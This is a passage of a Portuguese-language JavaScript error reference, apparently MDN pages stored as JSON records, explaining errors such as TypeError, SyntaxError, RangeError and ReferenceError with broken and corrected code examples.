{"title":"TypeError: \"x\" is (not) \"y\" - JavaScript","text":"TypeError: \"x\" is (not) \"y\"\n===========================\n\nMensagem\n--------\n```\n\nTipo do erro: \"x\" é (não é) \"y\"\n\nExemplos:\nTipo do erro: \"x\" é indefinido\nTipo do erro: \"x\" é nulo\nTipo do erro: \"x\" indefinido\" não é um objeto\nTipo do erro: \"x\" não é um objeto ou é nulo\nTipo do erro: \"x\" não é um símbolo\n```\n\nTipo de erro\n------------\n\n`TypeError`.\n\nO que deu errado?\n-----------------\n\nHouve um tipo inesperado. Isso ocorre muitas vezes com valores `undefined` ou `null`.\n\nAlém disso, certos métodos, tais como `Object.create()` ou `Symbol.keyFor()` (en-US), requerem um tipo específico, que deve ser fornecido.\n\nExemplos\n--------\n\n### Casos inválidos\n\n\n```js\n// casos undefined e null nos quais o método substring não vai funcionar\nvar foo = undefined;\nfoo.substring(1); // TypeError: foo is undefined\n\nvar foo = null;\nfoo.substring(1); // TypeError: foo is null\n\n// Certos métodos podem precisar de um tipo específico\nvar foo = {};\nSymbol.keyFor(foo); // TypeError: foo is not a symbol\n\nvar foo = \"bar\";\nObject.create(foo); // TypeError: \"foo\" is not an object or null\n```\n\n### Consertando o problema\n\nPara consertar o pointeiro nulo para valores `undefined` ou `null`, você pode utilizar o operador typeof , por exemplo.\n\n\n```js\nif (typeof foo !== \"undefined\") {\n  // Agora nós sabemos que foo está definido, então podemos prosseguir.\n}\n```\n\nVeja também\n-----------\n\n* `undefined`\n* `null`"}
{"title":"SyntaxError: missing variable name - JavaScript","text":"SyntaxError: missing variable name\n==================================\n\nMensagem\n--------\n```\n\nSyntaxError: missing variable name (Firefox)\nSyntaxError: Unexpected token = (Chrome)\n```\n\nTipo de erro\n------------\n\n`SyntaxError` (en-US)O que deu errado?\n-----------------\n\nO nome de uma variável está faltando. Isto é provavelmente devido a um erro de sintaxe no seu código. Provavelmente uma vírgula está errada em algum lugar. Totalmente compreensível! Nomear as coisas é tão difícil.\n\nExemplos\n--------\n\n### Falta um nome de variável\n\n\n```js\nvar = \"foo\";\n```\n\n\nÉ difícil chegar com bons nomes de variáveis. Nós todos estivemos lá.\n\n\n```js\nvar ohGodWhy = \"foo\";\n```\n\n### Palavras-chave reservadas não podem ser nomes de variáveis\n\nExistem alguns nomes de variáveis que são palavras-chave resevadas. Você não pode usar isso. Desculpa :(\n\n\n```js\nvar debugger = \"whoop\";\n// SyntaxError: missing variable name\n```\n\n### Declarando múltiplas variáveis\n\nPreste especial atenção às vírgulas ao declarar múltiplas variáveis. Existe um excesso de vírgula? Você acidentalmente adicionou vírgulas em vez de ponto e vírgula?\n\n\n```js\nvar x, y = \"foo\",\nvar x, = \"foo\"\n\nvar first = document.getElementById('one'),\nvar second = document.getElementById('two'),\n\n// SyntaxError: missing variable name\n```\n\n\nA versão corrigida:\n\n\n```js\nvar x,\n  y = \"foo\";\nvar x = \"foo\";\n\nvar first = document.getElementById(\"one\");\nvar second = document.getElementById(\"two\");\n```\n\n### Arrays\n\n`Array` literais em JavaScript precisam de colchetes ao redor dos valores. Isso não funcionará:\n\n\n```js\nvar arr = 1,2,3,4,5;\n// SyntaxError: missing variable name\n```\n\n\nIsso seria correto:\n\n\n```js\nvar arr = [1, 2, 3, 4, 5];\n```\n\nVeja também\n-----------\n\n* Bons nomes de variáveis\n* `var`\n* Declarações de variáveis no Guia JavaScript"}
{"title":"RangeError: invalid date - JavaScript","text":"RangeError: invalid date\n========================\n\nMensagem\n--------\n```\n\nRangeError: invalid date (Firefox)\nRangeError: invalid time value (Chrome)\nRangeError: Provided date is not in valid range (Chrome)\n```\n\nTipo de erro\n------------\n\n`RangeError` (en-US)O que houve de errado?\n----------------------\n\nUma string apontando para uma data inválida foi disponibilizada para `Date` ou `Date.parse()`.\n\nExemplos\n--------\n\n### Casos inválidos\n\nStrings irreconhecíveis ou data contendo elementos de strings formatadas com valores ISO ilegais, geralmente retornam `NaN`. No entanto, dependendo da implementação, strings com formatos em não conformidade ISO, também podem disparar `RangeError: invalid date`, como os seguintes casos no Firefox:\n\n\n```js\nnew Date(\"foo-bar 2014\");\nnew Date(\"2014-25-23\").toISOString();\nnew Date(\"foo-bar 2014\").toString();\n```\n\n\nIsto, no entanto, retorna `NaN` no Firefox:\n\n\n```js\nDate.parse(\"foo-bar 2014\"); // NaN\n```\n\n\nPara mais detalhes, veja a documentação `Date.parse()`.\n\n### Casos válidos\n\n\n```js\nnew Date(\"05 October 2011 14:48 UTC\");\n```\n\nVeja também\n-----------\n\n* `Date`\n* `Date.prototype.parse()`\n* `Date.prototype.toISOString()`"}
{"title":"ReferenceError: \"x\" não está definido - JavaScript","text":"ReferenceError: \"x\" não está definido\n=====================================\n\nMensagem\n--------\n```\n\nReferenceError: \"x\" is not defined\n```\n\nTipo de erro\n------------\n\n`ReferenceError`O que deu errado?\n-----------------\n\nHá uma variavel inexistente referenciada em algum lugar. Essa variável precisa ser declarada ou você precisa ter certeza que ela está disponível no seu atual script ou escopo.\n\n**Nota:** Quando carregar uma biblioteca (como o JQuery) tenha certeza que ela está carregada antes que você acesse as variáveis dela, como \"$\". Coloque na tag `<script>` para carregar a biblioteca antes do seu código usá-lo.\n\nExemplos\n--------\n\n### Variável não declarada\n\n\n```js\nfoo.substring(1); // ReferenceError: foo is not defined\n```\n\n\nA variável \"foo\" não está definida em lugar nenhum. Ela precisa ser uma string e assim o método `String.prototype.substring()` irá funcionar.\n\n\n```js\nvar foo = \"bar\";\nfoo.substring(1); // \"ar\"\n```\n\n### Escopo Errado\n\nUma variável precisa estar disponível no atual contexto de execução. Variáveis definidas dentro de uma function não podem ser acessadas de outros lugares fora da função, porque a variável é definida apenas no escopo da função\n\n\n```js\nfunction numbers() {\n  var num1 = 2,\n    num2 = 3;\n  return num1 + num2;\n}\n\nconsole.log(num1); // ReferenceError num1 is not defined.\n```\n\n\nEntretanto, uma função pode acessar todas as variáveis e funções definidas dentro do escopo no qual elas estão definidas. Em outras palavras, uma função definida no escopo global pode acessar todas as variáveis no escopo global.\n\n\n```js\nvar num1 = 2,\n  num2 = 3;\n\nfunction numbers() {\n  return num1 + num2;\n}\n\nconsole.log(num1); // 2\n```\n\nVeja também\n-----------\n\n* Scope\n* Declarando variáveis no JavaScript\n* Escopo de função no JavaScript"}
{"title":"SyntaxError: unterminated string literal - JavaScript","text":"SyntaxError: unterminated string literal\n========================================\n\nMensagem\n--------\n```\n\nSyntaxError: unterminated string literal\n```\n\nTipo de Erro\n------------\n\n`SyntaxError` (en-US)O que deu errado?\n-----------------\n\nHá uma `String` não finalizada em algum lugar do código. String literais devem se fechadas com aspas simples (`'`) ou duplas (`\"`) . O JavaScript não faz distinção entre strings com aspas simples ou aspas duplas. As sequências de escape trabalham com strings criadas tanto com aspas simples, quanto com aspas duplas. Para consertar este erro, verifique se:\n\n* você abriu e fechou sua string literal com aspas (simples ou duplas),\n* você escapou sua string literal corretamente,\n* sua string funciona corretamente em várias linhas, se houver.\nExemplos\n--------\n\n### Múltiplas linhas\n\nVocê não pode dividir sua string em múltiplas linhas em Javascript:\n\n\n```js\nvar longString = \"This is a very long string which needs\n                  to wrap across multiple lines because\n                  otherwise my code is unreadable.\";\n// SyntaxError: unterminated string literal\n```\n\n\nAo invés disso, você deve utilizar o operador + operator (en-US), uma barra invertida(\\), ou modelos literais. Uma forma de uso do operador `+`, seria assim:\n\n\n```js\nvar longString =\n  \"This is a very long string which needs \" +\n  \"to wrap across multiple lines because \" +\n  \"otherwise my code is unreadable.\";\n```\n\n\nOu você pode usar uma barra invertida (\"\\\") ao final de cada linha para indicar que a string continuará na próxima linha. Certifique-se de que não há espaço ou qualquer outro caractere após a barra invertida (excento quando for uma quebra de linha), ou como indentação; caso contrário, não funcionará. Esta forma ficaria assim:\n\n\n```js\nvar longString =\n  \"This is a very long string which needs \\\nto wrap across multiple lines because \\\notherwise my code is unreadable.\";\n```\n\n\nUma outra possibilidade é usar um modelo literal, que é suportado pelos ambientes ECMAScript 2015:\n\n\n```js\nvar longString = `This is a very long string which needs\n to wrap across multiple lines because\n otherwise my code is unreadable.`;\n```\n\nVeja também\n-----------\n\n* `String`\n* Modelos literais"}
{"title":"SyntaxError: uma declaração na cabeça de um laço for-of não pode ter um inicializador - JavaScript","text":"SyntaxError: uma declaração na cabeça de um laço for-of não pode ter um inicializador\n=====================================================================================\n\nA exceção JavaScript \"a declaration in the head of a for-of loop can't have an initializer\" ocorre quando a cabeça de um for...of loop contém uma expressão inicializadora tal como `for (const i = 0 of iteravel)`. Isto não é permitido no laço `for-of`.\n\nMensagem\n--------\n```\n\nSyntaxError: for-of loop variable declaration may not have an initializer. (V8-based)\nSyntaxError: a declaration in the head of a for-of loop can't have an initializer (Firefox)\nSyntaxError: Cannot assign to the loop variable inside a for-of loop header. (Safari)\n```\n\nTipo de erro\n------------\n\n`SyntaxError` (en-US)O que ocorreu errado?\n---------------------\n\nThe head of a for...of loop contains an initializer expression. That is, a variable is declared and assigned a value `for (const i = 0 of iterable)`. This is not allowed in for-of loops. You might want a `for` loop that does allow an initializer.\n\nA cabeça de um laço for...of contém uma expressão inicializadora. Ou seja, uma variável é declarada e atribuída um valor `for (const i = 0 in iteravel)`. Isto não é permitido no laço for-of. Vocẽ pode querer utilizar um laço `for` que permita um inicializador.\n\nExemplos\n--------\n\n### Laços for-of inválidos\n\n\n```js\nconst iteravel = [10, 20, 30];\n\nfor (const valor = 50 of iteravel) {\n  console.log(valor);\n}\n\n// SyntaxError: a declaration in the head of a for-of loop can't\n// have an initializer\n```\n\n### Laço for-of válido\n\nÉ necessário remover o inicializador (`valor = 50`) na cabeça do laço `for-of`. Talvez pretendesse fazer de 50 um valor de offset, nesse caso poderia adicioná-lo ao corpo do laço, por exemplo.\n\n\n```js\nconst iteravel = [10, 20, 30];\n\nfor (let valor of iteravel) {\n  valor += 50;\n  console.log(valor);\n}\n// 60\n// 70\n// 80\n```\n\nVeja também\n-----------\n\n* `for...of`\n* `for...in` – disallows an initializer in strict mode as well (SyntaxError: for-in loop head declarations may not have initializers)\n* `for` – allows to define an initializer when iterating."}
{"title":"ReferenceError: Atribuição à variável não declarada \"x\" - JavaScript","text":"ReferenceError: Atribuição à variável não declarada \"x\"\n=======================================================\n\nMessage\n-------\n```\n\nReferenceError: Atribuição à variável não declarada \"x\"(Firefox)\nReferenceError: \"x\" não está definido (Chrome)\nReferenceError: Variável indefinida em strict mode (Edge)\n```\n\nTipo de erro\n------------\n\n`ReferenceError` aviso em *strict mode* somente.\n\nO que deu errado?\n-----------------\n\nUm valor foi atribuído a uma variável não declarada. Em outras palavras, houve uma atribuição sem a palavra-chave var. Existem algumas diferenças entre as variáveis declaradas e não declaradas, o que pode levar a resultados inesperados e é por isso que o JavaScript apresenta um erro no modo estrito.\n\nTrês coisas a observar sobre as variáveis declaradas e não declaradas:\n\n* Variáveis declaradas são limitadas no contexto de execução em que são declarados. Variáveis não declaradas são sempre globais.\n* Variáveis declaradas são criados antes de qualquer código ser executado. Variáveis não declaradas não existem até que o código atribuido for executado.\n* Variáveis declaradas são uma propriedade não-configurável de seu contexto de execução (função ou global). Variáveis não declaradas são configuráveis (por exemplo, pode ser excluído).\n\nPara mais exemplos, veja a página de referência `var`.\n\nErros sobre atribuições de variáveis não declaradas ocorrem apenas em código de modo estrito. Em código não-estrito, eles são silenciosamente ignorados.\n\nExemplos\n--------\n\n### Casos inválidos\n\nneste caso, a variavel \"bar\" é uma variavel não declarada.\n\n\n```js\nfunction foo() {\n  \"use strict\";\n  bar = true;\n}\nfoo(); // ReferenceError: assignment to undeclared variable bar\n```\n\n### Casos válidos\n\nPara fazer uma variável declarada \"bar\", você pode adicionar a palavra-chave var na frente dele.\n\n\n```js\nfunction foo() {\n  \"use strict\";\n  var bar = true;\n}\nfoo();\n```\n\nVeja também\n-----------\n\n* *Strict mode*"}
{"title":"TypeError: property \"x\" is non-configurable and can't be deleted - JavaScript","text":"TypeError: property \"x\" is non-configurable and can't be deleted\n================================================================\n\n A exceção do Javascript \"property is non-configurable and can't be deleted\" ocorre\n quando é feita a tentativa de deletar uma propriedade, mas a propriedade não é configurável.\n\nMensagem\n--------\n\n\n```js\nTypeError: Calling delete on 'x' is not allowed in strict mode (Edge)\nTypeError: property \"x\" is non-configurable and can't be deleted. (Firefox)\nTypeError: Cannot delete property 'x' of #<Object> (Chrome)\n```\n\nTipo de Erro\n------------\n\n`TypeError` apenas no modo strict.\n\nO que deu errado?\n-----------------\n\n Foi feita a tentativa de deletar uma propriedade, mas esta propriedade não é configurável. O\n atributo `configurable` controla se a propriedade pode ser deletada do\n objeto e se seus atributos (Exceto `writable`) podem ser alterados.\n\n Este erro acontece apenas no modo strict. No\n modo de código não estrito, a operação retorna `false`.\n\nExemplos\n--------\n\n### Tentando excluir uma propriedade não configurável\n\n Propriedades não configuráveis não são comuns, mas podem ser criadas usando\n `Object.defineProperty()` ou `Object.freeze()`.\n\n\n```js\n\"use strict\";\nvar obj = Object.freeze({ name: \"Elsa\", score: 157 });\ndelete obj.score; // TypeError\n\n(\"use strict\");\nvar obj = {};\nObject.defineProperty(obj, \"foo\", { value: 2, configurable: false });\ndelete obj.foo; // TypeError\n\n(\"use strict\");\nvar frozenArray = Object.freeze([0, 1, 2]);\nfrozenArray.pop(); // TypeError\n```\n\n\n Também existem algumas propriedades não configuráveis embutidas no Javascript. Talvez você tenha\n tentado deletar uma constante matemática.\n\n\n```js\n\"use strict\";\ndelete Math.PI; // TypeError\n```\n\nVeja também\n-----------\n\n* Operador delete (en-US)\n* `Object.defineProperty()`\n* `Object.freeze()`"}
{"title":"SyntaxError: JSON.parse: bad parsing - JavaScript","text":"SyntaxError: JSON.parse: bad parsing\n====================================\n\nMensagem\n--------\n```\n\nSyntaxError: JSON.parse: unterminated string literal\nSyntaxError: JSON.parse: bad control character in string literal\nSyntaxError: JSON.parse: bad character in string literal\nSyntaxError: JSON.parse: bad Unicode escape\nSyntaxError: JSON.parse: bad escape character\nSyntaxError: JSON.parse: unterminated string\nSyntaxError: JSON.parse: no number after minus sign\nSyntaxError: JSON.parse: unexpected non-digit\nSyntaxError: JSON.parse: missing digits after decimal point\nSyntaxError: JSON.parse: unterminated fractional number\nSyntaxError: JSON.parse: missing digits after exponent indicator\nSyntaxError: JSON.parse: missing digits after exponent sign\nSyntaxError: JSON.parse: exponent part is missing a number\nSyntaxError: JSON.parse: unexpected end of data\nSyntaxError: JSON.parse: unexpected keyword\nSyntaxError: JSON.parse: unexpected character\nSyntaxError: JSON.parse: end of data while reading object contents\nSyntaxError: JSON.parse: expected property name or '}'\nSyntaxError: JSON.parse: end of data when ',' or ']' was expected\nSyntaxError: JSON.parse: expected ',' or ']' after array element\nSyntaxError: JSON.parse: end of data when property name was expected\nSyntaxError: JSON.parse: expected double-quoted property name\nSyntaxError: JSON.parse: end of data after property name when ':' was expected\nSyntaxError: JSON.parse: expected ':' after property name in object\nSyntaxError: JSON.parse: end of data after property value in object\nSyntaxError: JSON.parse: expected ',' or '}' after property value in object\nSyntaxError: JSON.parse: expected ',' or '}' after property-value pair in object literal\nSyntaxError: JSON.parse: property names must be double-quoted strings\nSyntaxError: JSON.parse: expected property name or '}'\nSyntaxError: JSON.parse: unexpected character\nSyntaxError: JSON.parse: unexpected non-whitespace character after JSON data\n```\n\nTipo de erro\n------------\n\n`SyntaxError` (en-US)O que ocorreu de errado?\n------------------------\n\n`JSON.parse()` converte uma string para JSON. A string precisa ser um JSON válido e retornará esse erro caso a sintaxe esteja errada.\n\nExemplos\n--------\n\n### `JSON.parse()` não permite vírgulas à direita\n\nAs duas linhas retornarão um SyntaxError:\n\n\n```js\nJSON.parse(\"[1, 2, 3, 4,]\");\nJSON.parse('{\"foo\": 1,}');\n// SyntaxError JSON.parse: unexpected character\n// at line 1 column 14 of the JSON data\n```\n\n\nRetire as virgulas sobrando para converter o JSON corretamente:\n\n\n```js\nJSON.parse(\"[1, 2, 3, 4]\");\nJSON.parse('{\"foo\": 1}');\n```\n\n### Propriedades precisão ser escritas com aspas duplas\n\nVocê não pode usar aspas simples em propriedades, exemplo: 'foo'.\n\n\n```js\nJSON.parse(\"{'foo': 1}\");\n// SyntaxError: JSON.parse: expected property name or '}'\n// at line 1 column 2 of the JSON data\n```\n\n\nEm vez disso use \"foo\":\n\n\n```js\nJSON.parse('{\"foo\": 1}');\n```\n\n### Zeros à esquerda e pontos decimais\n\nVocê não pode usar zeros à esquerda, como 01, e pontos decimais precisam ser seguidos de pelo menos um digito.\n\n\n```js\nJSON.parse('{\"foo\": 01}');\n// SyntaxError: JSON.parse: expected ',' or '}' after property value\n// in object at line 1 column 2 of the JSON data\n\nJSON.parse('{\"foo\": 1.}');\n// SyntaxError: JSON.parse: unterminated fractional number\n// at line 1 column 2 of the JSON data\n```\n\n\nEm vez disso, use o 1 sem o zero, e pelo menos um digito após um ponto decimal:\n\n\n```js\nJSON.parse('{\"foo\": 1}');\nJSON.parse('{\"foo\": 1.0}');\n```\n\nVeja também\n-----------\n\n* `JSON`\n* `JSON.parse()`\n* `JSON.stringify()`"}
{"title":"SyntaxError: missing } after property list - JavaScript","text":"SyntaxError: missing } after property list\n==========================================\n\nMensagem\n--------\n```\n\nSyntaxError: missing } after property list\n```\n\nTipo de erro\n------------\n\n`SyntaxError` (en-US)O que deu errado?\n-----------------\n\nAconteceu um engano na sintaxe do inicializador do objeto em algum lugar. Pode ser que você esqueceu de colocar uma chave, mas também pode ser uma vírgula que foi esquecida, por exemplo. Verifique também se alguma chave de finalização ou parêntesis estão em algum lugar que não deveriam estar. Indente ou formate o código de uma maneira legível pode te ajudar a enxergar no meio dessa selva.\n\nExemplos\n--------\n\n### Vírgula esquecida\n\nMuitas vezes esquecemos uma vígula no inicializador de objeto:\n\n\n```js\nvar obj = {\n  a: 1,\n  b: { minhaProp: 2 }\n  c: 3\n};\n```\n\n\nO código correto deve ser:\n\n\n```js\nvar obj = {\n  a: 1,\n  b: { minhaProp: 2 },\n  c: 3,\n};\n```\n\nVeja também\n-----------\n\n* Inicializador de objeto"}
{"title":"TypeError: atribuição inválida para const \"x\" - JavaScript","text":"TypeError: atribuição inválida para const \"x\"\n=============================================\n\nMensagem\n--------\n```\n\nTypeError: invalid assignment to const \"x\" (Firefox)\nTypeError: Assignment to constant variable. (Chrome)\nTypeError: Assignment to const (Edge)\nTypeError: Redeclaration of const 'x' (IE)\n```\n\nTipo de erro\n------------\n\n`TypeError`O que deu errado?\n-----------------\n\nUma constante é um valor que não pode ser alterado pelo programa durante a execução normal. Ele não pode mudar através de reatribuição e não pode ser redeclarado. Em JavaScript, as constantes são declaradas usando a palavra-chave `const`.\n\nExemplos\n--------\n\n### Redeclaração inválida\n\nAtribuir um valor ao mesmo nome de constante no mesmo escopo de bloco lançará o erro.\n\n\n```js\nconst COLUNAS = 80;\n\n// ...\n\nCOLUNAS = 120; // TypeError: invalid assignment to const `COLUNAS'\n```\n\n### Corrigindo o erro\n\nExistem várias opções para corrigir esse erro. Verifique o que se pretendia alcançar com a constante em questão.\n\n#### Renomear\n\nSe você quis declarar outra constante, escolha outro nome e renomeie. Esse nome de constante já está sendo usado nesse escopo.\n\n\n```js\nconst COLUNAS = 80;\nconst COLUNAS\\_LARGAS = 120;\n```\n\n\n#### `const`, `let` ou `var`?\n\nNão use const se você não quis declarar uma constante. Talvez você quisesse declarar uma variável com escopo de bloco com `let` ou uma variável global com `var`.\n\n\n```js\nlet colunas = 80;\n\n// ...\n\nlet colunas = 120;\n```\n\n\n#### Escopo\n\nVerifique se você está no escopo correto. Essa constante deve aparecer nesse escopo ou deveria aparecer em uma função, por exemplo?\n\n\n```js\nconst COLUNAS = 80;\n\nfunction configurarAmbienteTelaGrande() {\n  const COLUNAS = 120;\n}\n```\n\n### `const` e imutabilidade\n\nA declaração `const` cria uma referência somente leitura para um valor. Isso **não significa** que o valor que ela contém é imutável, apenas que o identificador da variável não pode ser reatribuído. Por exemplo, caso o conteúdo seja um objeto, isso significa que o objeto em si ainda pode ser alterado. Isso significa que você não pode alterar o valor armazenado em uma variável:\n\n\n```js\nconst obj = { foo: \"bar\" };\nobj = { foo: \"baz\" }; // TypeError: invalid assignment to const `obj'\n```\n\n\nMas você pode alterar as propriedades em uma variável:\n\n\n```js\nobj.foo = \"baz\";\nobj; // Object { foo: \"baz\" }\n```\n\nVeja também\n-----------\n\n* `const`\n* `let`\n* `var`"}
{"title":"Erro de Sintaxe: faltando : depois da propriedade id - JavaScript","text":"Erro de Sintaxe: faltando : depois da propriedade id\n====================================================\n\nMensagem\n--------\n```\n\nSyntaxError: missing : after property id\n```\n\nTipo de erro\n------------\n\n`SyntaxError` (en-US)O que deu errado?\n-----------------\n\nAo criar objetos com a sintaxe do iniciador do objeto, dois pontos (`:`) separam chaves e valores para as propriedades do objeto.\n\n\n```js\nvar obj = { propertyKey: \"value\" };\n```\n\nExemplos\n--------\n\n### Dois-pontos contra sinal de igualdade\n\nEste código falha, pois o sinal de igualdade não pode ser usado dessa maneira nesta sintaxe do iniciador do objeto.\n\n\n```js\nvar obj = { propertyKey = 'value' };\n// SyntaxError: missing : after property id\n```\n\n\nCorreto seria usar um dois-pontos, ou usar colchetes para atribuir uma nova propriedade depois que o objeto já foi criado.\n\n\n```js\nvar obj = { propertyKey: \"value\" };\n\n// or alternatively\n\nvar obj = {};\nobj[\"propertyKey\"] = \"value\";\n```\n\n### Propriedades vazia\n\nVocê não pode criar propriedades vazias como esta:\n\n\n```js\nvar obj = { propertyKey; };\n// SyntaxError: missing : after property id\n```\n\n\nSe você precisa definir uma propriedade sem um valor, você pode usar `null` como um valor.\n\n\n```js\nvar obj = { propertyKey: null };\n```\n\n### Propriedades computadas\n\nSe você criar uma chave de propriedade de uma expressão, você precisa usar colchetes. Caso contrário, o nome da propriedade não pode ser computado:\n\n\n```js\nvar obj = { 'b'+'ar': 'foo' };\n// SyntaxError: missing : after property id\n```\n\n\nColoque a expressão entre parênteses `[]`:\n\n\n```js\nvar obj = { [\"b\" + \"ar\"]: \"foo\" };\n```\n\nVeja também\n-----------\n\n* Inicializador de objeto"}
{"title":"InternalError: too much recursion - JavaScript","text":"InternalError: too much recursion\n=================================\n\nMensagem\n--------\n```\n\nError: Out of stack space (Edge)\nInternalError: too much recursion (Firefox)\nRangeError: Maximum call stack size exceeded (Chrome)\n```\n\nTipo de erro\n------------\n\n`InternalError`.\n\nO que deu errado?\n-----------------\n\nUma função que invoca a si mesma é chamada *função recursiva*. Assim que uma condição é atendida, a função para de se invocar.\n\nDe certa forma, recursão é análoga a um loop. Ambos executam o mesmo código múltiplas vezes, e ambos exigem uma condição (para evitar um loop infinito ou, nesse caso, uma recursão infinita). Quando são feitas excessivas invocações, ou a função não possui uma condição para interromper a recursividade, este erro é lançado.\n\nExemplos\n--------\n\nEsta função recursiva roda 10 vezes, como definido pela condição de saída.\n\n\n```js\nfunction loop(x) {\n  if (x >= 10) {\n    // \"x >= 10\" é a condição de saída\n    return;\n  }\n  loop(x + 1); // o código recursivo em si\n}\nloop(0);\n```\n\n\nMudar esta condição para um valor extremamente alto não vai funcionar:\n\n\n```js\nfunction loop(x) {\n  if (x >= 1000000000000) return;\n  loop(x + 1);\n}\nloop(0);\n\n// InternalError: too much recursion\n```\n\n\nA seguinte função recursiva não possui condição de saída. Assim, ela vai continuar se invocando indefinidamente (até que o erro seja lançado e a execução interrom).\n\n\n```js\nfunction loop(x) {\n  // Não há condição de saída\n\n  loop(x + 1); // Código recursivo\n}\n\nloop(0);\n\n// InternalError: too much recursion\n```\n\nVeja também\n-----------\n\n* Recursion\n* Funções recursivas"}
{"title":"SyntaxError: flag de expressão regular inválida \"x\" - JavaScript","text":"SyntaxError: flag de expressão regular inválida \"x\"\n===================================================\n\nA exceção JavaScript \"flag de expressão regular inválida\" ocorre quando as flags de uma expressão regular contêm qualquer flag que não seja uma das flag: `g`, `i`, `m`, `s`, `u`, `y` ou `d`.\n\nTambém pode ser lançada se a expressão contiver mais do que uma instância de uma flag válida.\n\nMensagem\n--------\n```\n\nSyntaxError: Invalid regular expression flags (V8-based)\nSyntaxError: invalid regular expression flag x (Firefox)\nSyntaxError: Invalid regular expression: invalid flags (Safari)\n```\n\nTipo de erro\n------------\n\n`SyntaxError` (en-US)O que ocorreu de errado?\n------------------------\n\nA expressão regular contém flags inválidas, ou foram utilizadas flags válidas mais de uma vez na expressão.\n\nAs flags válidas (permitidas) são listadas em Expressões regulares > Pesquisa avançada com flags, e reproduzidas abaixo:\n\n| Flag | Descrição |\n| --- | --- |\n| `g` | Pesquisa Global. Veja `global` (en-US) |\n| `i` | Pesquisa case-sensitive. Veja `ignoreCase`. |\n| `m` | Pesquisa em múltiplas linhas. Veja `multiline` (en-US). |\n| `s` | Permitir que `.` se igualem a novas linhas. Veja `dotAll` (en-US). |\n| `u` | Unicode; trata um padrão como uma sequência de pontos de código Unicode. Veja `unicode` (en-US). |\n| `y` | Realiza uma pesquisa \"sticky\" que coincida a partir da posição atual na cadeia de destino. Veja `sticky` |\n| `d` | Índices. Geração de índices para a correspondência de substrato. Veja `hasIndices` (en-US) |\n\nExemplos\n--------\n\n Em uma expressão regular literal, que consiste em um padrão fechado entre barras, as flags são definidas após a segunda barra.\n As flags de expressão regular podem ser utilizadas separadamente ou em conjunto em qualquer ordem.\n Esta sintaxe mostra como declarar as flags usando a expressão regular literal:\n\n\n```js\nconst re = /pattern/flags;\n```\n\n\nPodem também ser definidos na função construtora do objecto `RegExp` (segundo parâmetro):\n\n\n```js\nconst re = new RegExp(\"pattern\", \"flags\");\n```\n\n\nAqui está um exemplo que mostra a utilização apenas de flags corretas.\n\n\n```js\n/foo/g;\n/foo/gims;\n/foo/uy;\n```\n\n\nAbaixo está um exemplo que mostra a utilização de algumas flags inválidas `b`, `a` e `r`:\n\n\n```js\n/foo/bar;\n\n// SyntaxError: invalid regular expression flag \"b\"\n```\n\n\nO código abaixo está incorrecto, porque `W`, `e` e `b` não são flags válidas.\n\n\n```js\nconst obj = {\n  url: /docs/Web,\n};\n\n// SyntaxError: invalid regular expression flag \"W\"\n```\n\n\n Uma expressão contendo duas barras é interpretada como uma expressão regular literal.\n Muito provavelmente a intenção era criar uma cadeia literal, usando citações simples ou duplas, como se mostra abaixo:\n\n\n```js\nconst obj = {\n  url: \"/docs/Web\",\n};\n```\n\nVeja também\n-----------\n\n* Expressões Regulares\n* XRegEx flags – biblioteca de expressões regulares que fornece quatro novas bandeiras (`n`, `s`, `x`, `A`)"}
{"title":"SyntaxError: Unexpected token - JavaScript","text":"SyntaxError: Unexpected token\n=============================\n\nMensagem\n--------\n```\n\nSyntaxError: expected expression, got \"x\"\nSyntaxError: expected property name, got \"x\"\nSyntaxError: expected target, got \"x\"\nSyntaxError: expected rest argument name, got \"x\"\nSyntaxError: expected closing parenthesis, got \"x\"\nSyntaxError: expected '=>' after argument list, got \"x\"\n```\n\nTipo de erro\n------------\n\n`SyntaxError` (en-US)O que deu errado?\n-----------------\n\nUma construção específica da linguagem era esperada, mas algo não foi fornecido. Isto deve ser um simples erro de digitação.\n\nExemplos\n--------\n\n### Expressão esperada\n\nPor exemplo, quando funções são chamadas, vírgulas sem um valor na sequência não são permitidas. O JavaScript esperarará outro argumento, como pode ser qualquer expressão.\n\n\n```js\nMath.max(2, 42,);\n// SyntaxError: expected expression, got ')'\n```\n\n\nO correto é omitir a vírgula ou adicionar outro argumento:\n\n\n```js\nMath.max(2, 42);\nMath.max(2, 42, 13 + 37);\n```\n\nVeja também\n-----------\n\n* `Math.max()`"}
{"title":"Error: Permission denied to access property \"x\" - JavaScript","text":"Error: Permission denied to access property \"x\"\n===============================================\n\nMensagem\n--------\n```\n\nError: Permission denied to access property \"x\"\n```\n\nTipo de erro\n------------\n\n`Error`.\n\nO que houve de errado?\n----------------------\n\nTentativa de acessar um objeto no qual você não possui permissões. Provavelmente um `<iframe>` carregado de um dominio diferente no qual foi violado o same-origin policy (en-US).\n\nExemplos\n--------\n\n\n```html\n<!doctype html>\n<html>\n  <head>\n    <iframe\n id=\"myframe\"\n src=\"http://www1.w3c-test.org/common/blank.html\"></iframe>\n    <script>\n onload = function () {\n console.log(frames[0].document);\n // Error: Permission denied to access property \"document\"\n };\n </script>\n  </head>\n  <body></body>\n</html>\n```\n\nVeja também\n-----------\n\n* `<iframe>`\n* Same-origin policy (en-US)"}
{"title":"RangeError: precision is out of range - JavaScript","text":"RangeError: precision is out of range\n=====================================\n\nA exceção JavaScript \"precision is out of range\" (precisão fora de alcance) ocorre quando um número que está fora do intervalo que vai de 0 à 20 (ou 21) foi passado para `toFixed` ou `toPrecision`.\n\nMensagem\n--------\n```\n\nRangeError: The number of fractional digits is out of range (Edge)\nRangeError: The precision is out of range (Edge)\nRangeError: precision {0} out of range (Firefox)\nRangeError: toExponential() argument must be between 0 and 20 (Chrome)\nRangeError: toFixed() digits argument must be between 0 and 20 (Chrome)\nRangeError: toPrecision() argument must be between 1 and 21 (Chrome)\n```\n\nTipo de erro\n------------\n\n`RangeError` (en-US)O que houve de errado?\n----------------------\n\nExiste um argumento de precisão fora do intervalo em um desses métodos:\n\n* `Number.prototype.toExponential()` (en-US)\n* `Number.prototype.toFixed()`\n* `Number.prototype.toPrecision()`\n\nPo padrão, o intervalo permitido para os métodos acima é de 0 à 20 (ou 21). Todavia, a especificação ECMAScript nos permite extender o intervalo.\n\n| Método | Firefox (SpiderMonkey) | Chrome, Opera (V8) |\n| --- | --- | --- |\n| `Number.prototype.toExponential()` (en-US) | 0 to 100 | 0 to 20 |\n| `Number.prototype.toFixed()` | -20 to 100 | 0 to 20 |\n| `Number.prototype.toPrecision()` | 1 to 100 | 1 to 21 |\n\nExemplos\n--------\n\n### Casos 